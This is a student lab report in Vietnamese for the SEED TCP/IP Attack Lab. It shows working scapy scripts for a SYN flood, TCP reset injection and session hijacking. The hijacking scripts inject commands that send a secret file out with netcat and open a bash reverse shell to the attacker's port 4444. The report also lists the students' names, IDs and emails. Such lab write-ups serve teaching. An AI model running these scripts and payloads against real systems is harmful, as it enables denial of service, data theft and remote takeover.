LAB 5

TCP/IP Attack Lab

BÁO CÁO THỰC HÀNH

**Môn học: An toàn mạng máy tính**

**Kỳ báo cáo: Buổi 05 (Session 05)**

**Tên chủ đề: Information Gathering**

*GVHD: Nghi Hoàng Khoa*

**Nhóm: 06 (ghi số thứ tự nhóm)**

1. **THÔNG TIN CHUNG:**

*(Liệt kê tất cả các thành viên trong nhóm)*

Lớp: NT101.M11.ANTN.1

|  |  |  |  |
| --- | --- | --- | --- |
| **STT** | **Họ và tên** | **MSSV** | **Email** |
| 1 | Trần Hoàng Khang | 19521671 | 19521671@gm.uit.edu.vn |
| 2 | Nguyễn Đoàn Xuân Bình | 19521265 | 19521265@gm.uit.edu.vn |

1. **NỘI DUNG THỰC HIỆN:**

|  |  |  |
| --- | --- | --- |
| **STT** | **Công việc** | **Kết quả tự đánh giá** |
| 1 | Kịch bản 01 | 100% |
| 2 | Kịch bản 02 | 100% |
| 3 | Kịch bản 03 | 100% |
| 4 | Kịch bản 04 | 100% |
| 5 | Kịch bản 05 | 100% |

BÁO CÁO CHI TIẾT

1. **TCP SYN flood attack, and SYN cookies:**

Victim (10.9.0.5)

Attacker(10.9.0.1)

User2(10.9.0.7)

Để thuận tiện cho bài lab, follow theo hướng dẫn của lab seed, chỉnh lại **size queue** để **flooding** xảy ra nhanh hơn. Do ¼ size queue được dùng cho **proven destinations** nên chỉ cần set xuống **80**

|  |
| --- |
| sysctl -w net.ipv4.tcp\_max\_syn\_backlog=80 |

Code:

|  |
| --- |
| #!/bin/env python3  from scapy.all import IP, TCP, send  from ipaddress import IPv4Address  from random import getrandbits  ip = IP(dst="10.9.0.5")  tcp = TCP(dport=23, flags='S')  pkt = ip/tcp  while True:  pkt[IP].src = str(IPv4Address(getrandbits(32))) # source >  pkt[TCP].sport = getrandbits(16) # source port  pkt[TCP].seq = getrandbits(32) # sequence number  send(pkt, verbose = 0) |

Máy **attacker** chạy liên tục trong vòng lặp gửi gói tin **SYN**:

Text

Description automatically generated

Kiểm tra **size queue** hiện tại trên máy victim



Connection từ **user1** telnet đến **victim** bị time out:

Text

Description automatically generated

Ta đã thấy **queue** đã bị tới gới hạn nên truy cập bị từ chối. Ta thử để 1 thời gian để máy **victim** drop các gói tin **SYN** này đi

A screenshot of a computer

Description automatically generated with medium confidence

Kết nối OK được liền

Text

Description automatically generated

Bật **cookie** chống **flooding** lên:

|  |
| --- |
| sysctl -w net.ipv4.tcp\_syncookies=1 |

Ta thấy đã bị tràn:

A screenshot of a computer

Description automatically generated with medium confidence

Nhưng vẫn kết nối vào được

1. **TCP reset attack**

Dùng wireshark để bắt gói tin cho nhanh.

User2 (10.9.0.7 🡪 10.9.0.6) // Telnet

Graphical user interface, application, table, Excel

Description automatically generated

Bóc gói tin cuối cùng ra để sniffing

Text

Description automatically generated

Lấy các thông tin đưa vào tương ứng và gửi gói RST đi ở máy attacker (sport, dport, src, dst, và quan trọng nhất là **sequence number**)

|  |
| --- |
| #!/usr/bin/env python3  from scapy.all import \*  ip = IP(src="10.9.0.7", dst="10.9.0.6")  tcp = TCP(sport=49156, dport=23, flags="R", seq=2011474169)  pkt = ip/tcp  ls(pkt)  send(pkt, verbose=0) |

Kết quả:

Text

Description automatically generated

1. **TCP session hijacking attack**

User2(10.9.0.7)

Victim(10.9.0.5)

Attacker(10.9.0.1)

**User2** đang telnet đến victim

Text

Description automatically generated

**Attacker** tạo đoạn chương trình dưới:

|  |
| --- |
| #!/usr/bin/env python3  from scapy.all import \*  ip = IP(src="10.9.0.7", dst="10.9.0.5")  tcp = TCP(sport=47312, dport=23, flags="A", seq=2339695049, ack=1375884736)  data = "\n nc 10.9.0.1 4444 < /home/seed/secret \n"  pkt = ip/tcp/data  ls(pkt)  send(pkt, verbose=0) |

Bắt gói tin cuối cùng và lấy những thông tin cần thiết để fill in vào code ở trên:

(ip src, ip dst, sport , dport , seq, ack)

A picture containing table

Description automatically generated

Vì các command được thực thi trên máy **victim** nên ouput sẽ không hiện ra trên **attacker**. Do đó, ở đây tạo lắng nghe ở port 4444 của máy hacker

Text

Description automatically generated

Sau đó tạo một session khác để attacker chạy thực thi file python ở trên

Text

Description automatically generated

Qua lại bên attacker, vậy là đã lấy được nội dung file secret (đã tạo trước bên victim) của máy victim

Text

Description automatically generated

1. **Reverse shell**

Thực hiện y chang như trên, lần lượt :

- Cho máy **attack** listen port bất kỳ:

Text

Description automatically generated

- **User2** telnet đến **victim** server:

Text

Description automatically generated

Mở **wireshark** lên và bắt gói tin cuối cùng trong kết nối (Note: trong khoảng bắt xong khi vừa mới chấm dứt kết nối thì nên dừng việc bắt gói tin lại, nếu không sẽ có một số gói tin “rác” can thiệp vào và làm khó việc định vị gói tin cần tìm)

Text

Description automatically generated

Thay đổi payload cho phù hợp: Lần này thay đổi lệnh gửi đến victim để victim đưa shell vào netcat, trong khi attacker lắng nghe => **Remote reverse shell**

|  |
| --- |
| #!/usr/bin/env python3  from scapy.all import \*  ip = IP(src="10.9.0.7", dst="10.9.0.5")  tcp = TCP(sport=49842, dport=23, flags="A", seq=4036306252, ack=1464571237)  data = "\n bash -i &> /dev/tcp/10.9.0.1/4444 0>&1 \n"  pkt = ip/tcp/data  ls(pkt)  send(pkt, verbose=0) |

Chạy thành công payload trên:

Graphical user interface, text

Description automatically generated

Qua bên process listening thì thấy đã có được **shell** của **victim**

Text

Description automatically generated